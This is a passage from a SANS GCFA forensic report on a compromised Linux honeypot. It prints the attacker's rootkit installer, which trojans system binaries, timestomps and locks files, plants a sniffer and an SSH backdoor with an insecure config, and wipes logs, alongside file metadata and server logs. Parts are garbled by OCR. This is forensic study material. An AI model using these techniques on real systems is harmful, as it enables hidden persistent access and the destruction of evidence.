chattr -iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir >>install.log 2>&1
/etc/rc.d/init.d/syslog stop >>install.log 2>&1
killall -9 portmap 2>>install.log
rm -f ../*.tgz 2>>install.log
if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
  echo "${cl}${hred}Argh!! .. SysV init not found${cl}${wht}"
  echo "${cl}${hred}Installation aborted.${cl}${wht}"
  echo "non-sysv init system, installation aborted" >>install.log
  /etc/rc.d/init.d/syslog start >>install.log 2>&1
  exit 1
fi

cp -f .1proc /dev/ttyop

cp -f .laddr /dev/ttyoa

cp -f .1file /dev/ttyof

cp -f .1logz /dev/ttyos

touch -acmr /usr/bin/du du >>install.log 2>&1

touch -acmr /usr/bin/find find >>install.log 2>&1

touch -acmr /usr/bin/killall killall >>install.log 2>&1

touch -acmr /bin/netstat netstat >>install.log 2>&1

touch -acmr /bin/ls ls >>install.log 2>&1

touch -acmr /usr/bin/pstree pstree >>install.log 2>&1

touch -acmr /usr/bin/top top >>install.log 2>&1

touch -acmr /usr/bin/vdir vdir >>install.log 2>&1

sleep 1

echo "$(cl)$(hblk)$(cl)$(hred) $(cl)$(whit)Installing trojaned programs$(cl)$(whit)"

echo "$(cl)$(hred)$(cl)$(hblk)~$(cl)$(whit)" >>install.log

if [ ! "$(2>&1 .ps )/dev/null" ]; then
  if [ ! -x /bin/mps ]; then
    mv -f /bin/ps /bin/mps >>install.log 2>&1
  if [ ! -x /bin/ps ]; then
    mv -f /bin/ps /bin/.mps >>install.log 2>&1
  fi
fi

cp -f ps /bin >>install.log 2>&1
fi

echo "PS --> OK" >>install.log
else
  echo "$(cl)$(hred) *** failed ***$(cl)$(whit)"
echo "PS ---> failed" >>install.log
fi

if [ ! -d /usr/include/rpcsvc ]; then
    mkdir -p /usr/include/rpcsvc >>install.log 2>&1
fi

echo "$(cl)$hred|$(cl)$hblk--$(cl)$whitetop"
echo "|--top " >>install.log
if [ ! -x /usr/bin/mtop ]; then
    mv -f /usr/bin/top /usr/bin/mtop >>install.log 2>&1
    cp -f top /usr/bin/ >>install.log 2>&1
    echo "TOP ---> OK" >>install.log
else
    echo "$(cl)$hred *** failed ***$(cl)$whitetop"
    echo "TOP ---> failed" >>install.log
fi

echo "$(cl)$hred|$(cl)$hblk--$(cl)$whitepstree"
echo "|--pstree " >>install.log
if [ ! "$(2>&1 ./pstree >/dev/null) " ]; then
    if [ ! -x /usr/bin/mpstree ]; then
        mv -f /usr/bin/pstree /usr/bin/mpstree >>install.log 2>&1
        cp -f pstree /usr/bin/ >>install.log 2>&1
        echo "PSTREE ---> OK" >>install.log
    else
        echo "$(cl)$hred *** failed ***$(cl)$whitepstree"
        echo "PSTREE ---> failed" >>install.log
    fi
fi

echo "$(cl)$hred|$(cl)$hblk--$(cl)$whitelpstree"
sh mpstree
echo "|------killall " >>install.log
if [ ! "$ (2>&1 ./killall >/dev/null) " ]; then
    if [ ! "$(2>&1 ./killall >/dev/null) " ]; then
        mv -f /usr/bin/killall /dev/killall >>install.log 2>&1
        cp -f killall /usr/bin/ >>install.log 2>&1
        cp -f pstree /usr/bin/dir
cp -f vdir /usr/bin/ >>install.log 2>&1
        echo "alias ls='ls--color=tty'" >> /etc/bashrc
        echo "LS DIR VDIR -----> OK" >>install.log
    else
        echo "$(cl)$hred *** failed ***$(cl)$whitelpstree"
        echo "LS DIR VDIR -----> failed" >>install.log
    fi
fi

echo "$(cl)$hred|$(cl)$hblk--$(cl)$whitels"
echo "|--ls-dir-vdir " >>install.log
unalias ls >/dev/null 2>&1
alias ls="ls--color=tty" if [ ! "$ (2>&1 ./ls >/dev/null) " ]; then
    mv -f /bin/ls /bin/mls >>install.log 2>&1
    cp -f ls /bin/ls
    cp -f vdir /bin/vdir
    echo "alias ls="ls--color=tty"" >> /etc/bashrc
    echo "LS DIR VDIR -----> OK" >>install.log
else
    echo "$(cl)$hred *** failed ***$(cl)$whitels"
    echo "LS DIR VDIR -----> failed" >>install.log
fi

echo "$(cl)$hred|$(cl)$hblk----$(cl)$whitelfind"
echo "|--find " >>install.log
if [ ! -x /usr/bin/mfind ]; then
    mv -f /usr/bin/find /usr/bin/mfind
    cp -f find /usr/bin
    echo "FIND -----> OK" >>install.log
else
    echo "$(cl)$hred *** failed ***$(cl)$whitelfind"
fi
enclase computer analysis report

sans gcfa cert assignment/enclase computer analysis report

Page 249

```
echo "FIND ---> failed" >>install.log
fi

echo "$(cl)$hred|$(cl)$hblk--------$(cl)$wht|du"
echo "--------du " >>install.log
if [ ! "$(2>&1 ./du >/dev/null)" ]; then
    if [ ! -f /usr/include/rpcsvc/du ]; then
        mr -f /usr/bin/du /usr/include/rpcsvc/du >>install.log 2>&1
        chmod -x /usr/include/rpcsvc/du
    fi
cp -f du /usr/bin >>install.log 2>&1
    echo "DU ---> OK" >>install.log
else
    echo "${(cl)$hred} *** failed ***${(cl)$wht}"
    echo "DU ---> failed" >>install.log
fi

echo "$(cl)$hred|$(cl)$hblk--------$(cl)$wht|netstat"
echo "--------netstat " >>install.log
if [ ! -x /bin/mnetstat ]; then
    mv -f /bin/netstat /bin/mnetstat >>install.log 2>&1
    cp -f netstat /bin/ >>install.log 2>&1
    echo "NETSTAT ---> OK" >>install.log
else
    echo "${(cl)$hred} *** failed ***${(cl)$wht}"
    echo "NETSTAT ---> failed" >>install.log
fi

echo "$(cl)$hred|$(cl)$hblk|----------------------------- $(cl)$wht|Installing my port*
cd nfdsd;/nfdsd
sleep 1
echo echo "$(cl)$hred|$(cl)$hblk|----------------------------- $(cl)$wht|Ok, port opened."
echo echo "$(cl)$hred|$(cl)$hblk|----------------------------- $(cl)$wht|Installing Utilities"
echo echo "$(cl)$hred|$(cl)$hblk|----------------------------- $(cl)$wht|Installing Utilities"

if [ ! -d /dev/logs ]; then
    echo "${(cl)$hred}|$(cl)$hblk|----------------------------- $(cl)$wht|Creating Logs DIR"
    mkdir /dev/logs
else
    echo "${(cl)$hred}|$(cl)$hblk|----------------------------- $(cl)$wht|The logs dir is already present"
    chattr -iu /dev/logs
    mv -f /dev/logs /dev/dirlogs
    mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &

echo "${(cl)$hred}|$(cl)$hblk|----------------------------- $(cl)$wht|Setting up crontab$(cl)$wht"
else
   echo "\$(cl)\$(hred)\$(cl)\$(hblk)--------\$(cl)\$(hred)CronTab is already installed on user -root-\$(cl)"
   echo ---------------------------------------------------------------
   echo "\$(cl)\$(hred)'/\$(usr)/bin/crontab -l'\$(cl)"
   echo ---------------------------------------------------------------
fi

else
   echo "\$(cl)\$(hgrn)Ports Open\$(cl)\$(wht)"
   if [ -x /\$(usr)/sbin/lsof ]; then
      /\$(usr)/sbin/lsof|grep LISTEN
   fi
   echo "\$(cl)\$(hgrn)Checking 4 Other RootKITs\$(cl)\$(wht)"
   if [ -d /dev/ida/.inet ]; then
      echo "\$(cl)\$(hred)/dev/ida/.inet\$(cl)\$(wht)"
   fi
   if [ -f /\$(usr)/bin/hdparm ]; then
      echo "\$(cl)\$(hred)/\$(usr)/bin/hdparm\$(cl)\$(wht)"
   fi
   if [ -d /dev/.rd ]; then
      echo "\$(cl)\$(hred)/dev/.rd\$(cl)\$(wht)"
   fi
   if [ -d /\$(var)/run/.pid ]; then
      echo "\$(cl)\$(hred)/\$(var)/run/.pid\$(cl)\$(wht)"
   fi
   if [ "$\$(locate alya.cgi 2>/dev/null)" ]; then
      echo "\$(cl)\$(hred)alya.cgi\$(cl)\$(wht)"
      locate alya.cgi 2>/dev/null
   fi
   if [ -x /\$(usr)/bin/sourcemask ]; then
      echo "\$(cl)\$(hred)/\$(usr)/bin/sourcemask\$(cl)\$(wht)"
   fi
   if [ -x /etc/rc.d/init.d/init ]; then
      echo "\$(cl)\$(hred)/etc/rc.d/init.d/init\$(cl)\$(wht)"
   fi
   if [ "$\$(locate c700 2>/dev/null)" ]; then
      echo "\$(cl)\$(hred)c700\$(cl)\$(wht)"
      locate c700 2>/dev/null|head -n 5
   echo ---------------------------------------------------------------
   fi
   if [ "$\$(locate zoot 2>/dev/null)" ]; then
      echo "\$(cl)\$(hred)zoot\$(cl)\$(wht)"
      locate zoot 2>/dev/null|head -n 5
   echo ---------------------------------------------------------------
   fi
   if [ "$\$(locate rsha 2>/dev/null|egrep -v marshal)" ]; then
      echo "\$(cl)\$(hred)rsha\$(cl)\$(wht)"
      locate rsha 2>/dev/null|head -n 5
   echo ---------------------------------------------------------------
   fi
   if [ "$\$(locate xper 2>/dev/null|egrep -v fixperm)" ]; then
      echo "\$(cl)\$(hred)xper\$(cl)\$(wht)"
      locate xper 2>/dev/null|head -n 5
   echo ---------------------------------------------------------------
   fi
   if [ "$\$(locate tcp.log 2>/dev/null)" ]; then
      echo "$\$(cl)\$(hred)tcp.log\$(cl)\$(wht)"
      locate tcp.log 2>/dev/null|head -n 40
   echo ---------------------------------------------------------------
   fi
   if [ "$\$(locate sniffer 2>/dev/null)" ]; then
      echo "$\$(cl)\$(hred)sniffer\$(cl)\$(wht)"
      locate sniffer 2>/dev/null|head -n 40
   echo ---------------------------------------------------------------
fi
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report

Page 251

```

`encl$(hred)Snifferz$(encl$(wht)

---

locate tcp.log 2>/dev/null
/usr/sbin/lsof|grep tcp.log
locate sniffer 2>/dev/null

---

if [ "locate .1proc 2>/dev/null" ] | [ -d /usr/src/.puta ] | [ -f /etc/ttyhash ]; then
  echo "encl$(hred)Possible TK$(encl$(wht)"
  locate .1proc 2>/dev/null
  echo ----------------------------
fi

if [ "locate adore 2>/dev/null" ]; then
  echo "encl$(hred)Possible adore lkm$(encl$(wht)"
  locate adore 2>/dev/null
  echo ----------------------------
fi

if [ "locate psybnc 2>/dev/null" ]; then
  echo "encl$(hred)grr.. a FucKIng PsyBNC still around$(encl$(wht)"
  locate psybnc 2>/dev/null|head -n 20
  echo ----------------------------
fi

if [ "locate mech 2>/dev/null|grep -v 'listmech'" ]; then
  echo "encl$(hred)grr.. a fucking mech still around$(encl$(wht)"
  locate mech 2>/dev/null|grep -v 'listmech'|head -n 20
  echo ----------------------------
fi

if [ "locate eggdrop 2>/dev/null" ]; then
  echo "encl$(hred)grr.. a fucking egg still around$(encl$(wht)"
  locate eggdrop 2>/dev/null|head -n 40
  echo ----------------------------
fi

if [ "locate sshdu 2>/dev/null" ]; then
  echo "encl$(hred)a sshd u still in sys$(encl$(wht)"
  locate sshdu 2>/dev/null
  echo ----------------------------
fi

ps -ax|grep "/\|\"|grep "grep -v install" | then
  echo "encl$(hred)Suspect Processes$(encl$(wht)"
  ps -ax|grep "/\|\"|grep "grep -v install"
  echo ----------------------------
fi

find /dev -type f|grep "make|grep -v ttyo|grep -v hds|grep -v killer|grep -v logs

/etc/rc.d/init.d/syslog start >>install.log 2>&1
echo >/var/log/messages
echo >/var/log/boot.log
echo >/var/log/cron
echo >/var/log/secure
echo >/var/log/maillog
chattr +iauu /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr +iauu /usr/bin/ps /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find >>install.log 2>&1
chattr +iauu /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir /usr/bin/dir >>install.log 2>&1
set +e
chattr +iauu /usr/local/sbin/sshhd /usr/sbin/sshhd /dev/killer >>install.log 2>&1

exit 0
```

Na hai sa ne pisam pe iei-;)
unset cl cyn wht hblk hgrn hcnyn hwht hred
exit 0

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
87) Name  install.log
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\install.log
Entry Modified  06/29/03 03:25:20PM
Last Accessed  06/29/03 03:25:20PM
Last Written  06/29/03 03:25:20PM
Hash Value  65025494af2c14aeb979024429159fb8
Physical Size  1,024
Logical Size  510

88) Name  .1addr
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\1addr
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:25:20PM
Last Written  11/26/02 09:50:52PM
Hash Value  ad46a56a4269f47eb407ac56d18cd955
Physical Size  1,024
Logical Size  32

89) Name  .1logz
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\1logz
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:25:20PM
Last Written  12/29/02 04:32:10PM
Hash Value  cf49f02b0fd5ef45625baa0e3125c878
Physical Size  1,024
Logical Size  68

90) Name  .1logz
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\1logz
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:25:20PM
Last Written  12/29/02 04:32:10PM
Hash Value  cf49f02b0fd5ef45625baa0e3125c878
Physical Size  1,024
Logical Size  68

92) Name  clean
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\clean
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>du</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s/du</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>6e60f5c0f79a3526005c11821788f73f</td>
<td>32,768</td>
<td>32,539</td>
</tr>
<tr>
<td>init.sshd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.ssh\init.sshd</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:31:03AM</td>
<td>b33deb29b9db1aedd81866e048416b0bd68</td>
<td>1,024</td>
<td>969</td>
</tr>
<tr>
<td>killall</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s\killall</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>db9c510fad6c3c398fd1b0850d0c0b8</td>
<td>19,456</td>
<td>19,291</td>
</tr>
<tr>
<td>killall</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s\killall</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>db9c510fad6c3c398fd1b0850d0c0b8</td>
<td>19,456</td>
<td>19,291</td>
</tr>
</tbody>
</table>
98) Name mpstree
   Description File
   Full Path /tmp.s\mpstree
   Entry Modified 06/29/03 03:11:59PM
   Last Accessed 06/29/03 03:25:20PM
   Last Written 03/24/03 09:36:32PM
   Hash Value f592011bbfb8f683f0b24f1eda20bffffff
   Physical Size 1,024
   Logical Size 443

Comment: This script starts p.ssh, modifies /etc/rc.d/rc.sysinit by adding a line to run weit and removes wait.

#!/bin/bash
TERM=linux
chown root.root *
./p.ssh
sleep 1
cattr -AcdisSu /etc/rc.d/rc.sysinit
echo 'wait' > /etc/rc.d/rc.sysinit.old
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
chmod +x /etc/rc.d/rc.sysinit
chattr -AcdisSu /usr/bin/* >/dev/null 2>&1
mv weit /usr/bin/weit
touch -acmr /bin/df
chmod +x /usr/bin/weit
/usr/bin/weit

99) Name netstat
   Description File
   Full Path /tmp.s\netstat
   Entry Modified 06/29/03 03:25:20PM
   Last Accessed 06/29/03 03:25:20PM
   Last Written 06/29/03 03:25:20PM
   Hash Value 8a6c03c19c493d6ca31bcee94ce45da
   Physical Size 39,936
   Logical Size 39,399

Comment:

100) Name nfsd
    Description File
    Full Path /tmp.s\nfsd\nfbsd
    Entry Modified 06/29/03 03:11:59PM
    Last Accessed 06/29/03 03:25:21PM
    Last Written 12/29/02 04:24:52PM
    Hash Value 2aa3b69eaa86b68eb3cb36f66df8ca03
    Physical Size 1,024
    Logical Size 884
Comment: Here is the nfdsi script that is called from the install script to install the ssh backdoor.

```
#!/bin/sh
if [ -x /usr/sbin/nfsd ]; then
  chattr -iau /usr/sbin/nfsd
  chmod -f /usr/sbin/nfsd
  cp -f ../p.sshd /usr/sbin/nfsd
  chmod +s /usr/sbin/nfsd
  chattr +iau /usr/sbin/nfsd
else
  cp -f ../p.sshd /usr/sbin/nfsd
  chmod +s /usr/sbin/nfsd
  chattr +iau /usr/sbin/nfsd
fi
if [ -f /sbin/sshd_config ]; then
  chattr -iau /sbin/sshd_config
  rm -f /sbin/sshd_config
  cp -f sshd_config /sbin
  chattr +iau /sbin/sshd_config
else
  cp -f sshd_config /sbin
  chattr +iau /sbin/sshd_config
fi
```

Comment: This script is called by the install script right after the killall trojan is installed. The line that calls it is "sh p.ssh".

```
#!/bin/bash
D="/tmp/s*p.ssh"
fi
```

Comment: Here are the other files used in the setup of this honey pot system:

```
EnCase Computer Analysis Report
Sans GCFA Cert Assignment
Linux 7.3 Honey pot system
```

101) Name: p.ssh
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/s*p.ssh
Entry Modified: 06/29/03 03:11:59PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 03/24/03 09:29:48PM
Hash Value: 0ef7a04c8b1cae0e35e209a034be7f8fa
Physical Size: 77,824
Logical Size: 77,344
EnCase Computer Analysis Report

EnCase Computer Analysis Report

Page 267
EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report

Page 270

© SANS Institute 2004, Author retains full rights.

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
102) Name  p.sshd  
Description  File  
Full Path  /etc/pam.d/ssh  
Entry Modified  06/29/03 03:25:07PM
Last Accessed  06/29/03 03:25:07PM
Last Written  06/29/03 03:25:07PM
Hash Value  9217bb76c8b19ee6ef5a9883b0edbc
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/s'popauth</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>9580542311468b426d76ada43f609be9</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pstree</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/s'pstree</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>06/29/03 03:25:20PM</td>
<td>a2683199c868fcca75f50ec879</td>
<td>22,528</td>
<td>21,943</td>
</tr>
<tr>
<td>sense</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/s'sense</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/07/02 11:37:18AM</td>
<td>464dc23ca477c43418eb8d3ef087065</td>
<td>4,096</td>
<td>4,060</td>
</tr>
<tr>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/s'sshd/sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>44fd911b3e39b43124e91dd1670658c0</td>
<td>1,024</td>
<td>541</td>
</tr>
<tr>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/s'sshd/sshd_config</td>
<td>06/29/03 03:11:59PM</td>
<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
<td>44fd911b3e39b43124e91dd1670658c0</td>
<td>1,024</td>
<td>498</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\sshd_config
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:25:21PM
Last Written  11/26/02 09:35:22PM
Hash Value  ce630951c72096d9ef1d3b12f309b281
Physical Size  1,024
Logical Size  707

Comment: Here is the ssh configuration file used by the ssh backdoor program nsfd.

# This is ssh server systemwide configuration file.
# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
PasswdLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

109) Name  sshd-install
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\sshd\sshd-install
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:11:58PM
Last Written  11/26/02 09:40:32PM
Hash Value  2eebbaf9af6e6267d55470c72f33a700
Physical Size  2,048
Logical Size  1,053

Comment: sshd-install script

#!/bin/sh
rm -rf /etc/ssh
mkdir -p /etc/ssh >>../install.log 2>&1
cp -f init.sshd /etc/rc.d/init.d/sshd
if [-x /sbin/chkconfig ]; then
  /sbin/chkconfig --add sshd >../install.log 2>&1
else
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/S55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/S55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/S55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/S55sshd
  ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc6.d/K25sshd
fi

if [ ! -f sshd_config /etc/sshd ]; then
  cp -f sshd_config /etc/sshd >../install.log 2>&1
fi

if [ ! -x /usr/sbin/sshd ]; then
  cp -f /usr/sbin/sshd /etc/rc.d/init.d/sshd >../install.log 2>&1
fi

chattr +ia /etc/rc.d/init.d/sshd

110) Name  top
    Description  File
    Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\top
    Entry Modified  06/29/03 03:25:20PM
    Last Accessed  06/29/03 03:25:20PM
    Last Written  06/29/03 03:25:20PM
    Hash Value  0598ec68648c9e9e17b0d50a3da771a6
    Physical Size  58,368
    Logical Size  57,615

111) Name  vdir
    Description  File
    Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\vdir
    Entry Modified  06/29/03 03:25:20PM
    Last Accessed  06/29/03 03:25:20PM
    Last Written  06/29/03 03:25:20PM
    Hash Value  8a5f3b2864c9e17b0d50a3da771a6
    Physical Size  48,128
    Logical Size  47,295

112) Name  xxh_h
    Description  File
    Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\xxh_h
    Entry Modified  06/29/03 03:11:59PM
    Last Accessed  06/29/03 03:25:21PM
    Last Written  02/06/02 08:09:53AM
    Hash Value  ddfe24731d459493356d479c2d8e48ad
    Physical Size  1,024
    Logical Size  534

113) Name  xxh_h
    Description  File
    Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\xxh_h
the functions library is called by the networks script here.

```
. /etc/init.d/functions
```

Volume /var
## Volume

<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>File System</td>
<td>EXT3</td>
</tr>
<tr>
<td>Sectors per cluster:</td>
<td>2</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>529,137</td>
</tr>
<tr>
<td>Total Sectors:</td>
<td>270,917,632 bytes (258.4MB)</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>264,568</td>
</tr>
<tr>
<td>Total Clusters:</td>
<td>219,693,056 bytes (209.5MB)</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>214,544</td>
</tr>
<tr>
<td>Free Clusters:</td>
<td>28,143,408 bytes (26.8MB)</td>
</tr>
<tr>
<td>Volume Name:</td>
<td>Volume Offset:</td>
</tr>
<tr>
<td>Volume Name:</td>
<td>11,551,743</td>
</tr>
</tbody>
</table>

The following are bookmarks from Volume /var
EnCase Computer Analysis Report

httpd access log for June 27, 2003

192.168.2.15 - - [27/Jun/2003:14:10:34 -0600] "GET /poweredby.png HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET / HTTP/1.1" 200 2890
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 1154

httpd access log for June 29, 2003

XXX.XXX.XXX.com - - [28/Jun/2003:08:46:23 -0600] "HEAD / HTTP/1.0" 200 0
XXX.XXX.XXX.202 - - [29/Jun/2003:02:36:53 -0600] "HEAD / HTTP/1.0" 200 0

httpd error log for June 29, 2003

[Sun Jun 29 04:02:28 2003] [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 configured -- resuming normal operations
[Sun Jun 29 04:02:28 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Jun 29 04:02:28 2003] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sun Jun 29 15:06:18 2003] [error] [client XXX.XXX.XXX.108.64] client sent HTTP/1.1 request without host
[Sun Jun 29 15:06:42 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:07:50 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:20:54 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:25:14 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:28:28 2003] [error] mod_ssl: SSL handshake failed (server myapache:443, client 202.30.108.64) (OpenSSL library error follows)
[Sun Jun 29 15:36:49 2003] [error] [client 193.109.122.5] request failed: error reading the header

Mail file for root. Shows Sementation faults and cron job problems.

From root  Fri Jun 27 04:02:02 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id h5RA22S06825 for root; Fri, 27 Jun 2003 04:02:02 -0600
Date: Fri, 27 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <200306271002.h5RA22S06825@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

######################## LogWatch 2.6 Begin ########################
-----------------------
sendmail Begin
----------------------
334 bytes transferred
1 messages sent
----------------------
sendmail End
-----------------------

######################## LogWatch End ########################

From root Sat Jun 28 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id hSAA22A09057
for root; Sat, 28 Jun 2003 04:02:02 -0600
Date: Sat, 28 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-id: <200306281002.h5SA22A09057@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

######################## LogWatch 2.6 Begin ########################
-----------------------
ModProbe Begin
----------------------
Can't locate these modules:
  0a: 1 Time(s)
----------------------
ModProbe End
-----------------------

######################## LogWatch End ########################

From root Sat Jun 28 04:04:12 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5SA24a09068
for root; Sat, 28 Jun 2003 04:02:04 -0600
Date: Sat, 28 Jun 2003 04:02:04 -0600
Message-Id: <200306281002.314535068@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA22E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
From: root@localhost.localdomain
